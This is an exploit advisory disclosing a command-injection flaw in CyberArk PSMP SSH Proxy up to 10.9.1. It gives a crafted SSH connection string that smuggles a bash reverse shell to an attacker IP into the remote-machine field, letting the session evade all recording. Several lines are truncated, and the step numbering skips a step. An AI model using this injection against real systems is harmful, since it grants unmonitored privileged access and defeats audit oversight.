# Google Dork: NA
# Date: 2020-02-25
# Exploit Author: LAHBAL Said
# Vendor Homepage: https://www.cyberark.com/
# Software Link: https://www.cyberark.com/
# Version: PSMP <=10.9.1
# Tested on: PSMP 10.9 & PSMP 10.9.1
# CVE : N/A
# Patched : PSMP >= 11.1
Policy allows us to overwrite PSMRemoteMachine
An issue was discovered in CyberArk Privileged Session Manager SSH Proxy
All recordings mechanisms (Keystoke, SSH Text Recorder and video) can be
because users entries are not properly validated.
Commands executed in a reverse shell are not monitored.
The connection process will freeze just after the « session is being
recorded » banner and the all commands we enter are not monitored.
We can got a reverse shell (or execute any command we want) from remote
target and be completely invisible from CyberArk. In logs, we have only
both PSMConnect and PSMDisconnect events.
Here are details of the attack :
1. I connect through CyberArk PSMP server using this
connection string : ssh <vaultUserName>%username+address%’remoteMachine
bash -i >& /dev/tcp/<AttackerIP>/<AttackerPort0>&1’@<psmpServer>
Example : ssh slahbal%sharedLinuxAccount+test.intra%’linux01 bash -i >&
3. This connection string will :
– Connect me to linux01 using sharedLinuxAccount account that is stored
into CyberArk and to which I have access.
– Create a reverse shell to my workstation 192.168.0.10:443 (nc.exe is
listening on port 443 for this test).
4. The connection process will freeze just after « The sessions is being
recorded » banner
5. I got a reverse shell on which all commands ar not monitored.
Note 1 : The command that created the reverse shell is NOT captured by
Note 2 : sshd_config has been set with those parameters :
Bypass all recordings mechanisms (Keystoke, SSH Text Recorder and video)
[Vendor of Product]
[Affected Product Code Base]
PSMP – <=10.9.1
[CVE Impact Other]
The vulnerability allow you to connect through CyberArk PSMP server
bypassing all recordings mechanisms
To exploit the vulnerability, someone must connect through PSMP using a
crafted connection string.
[Has vendor confirmed or acknowledged the vulnerability?]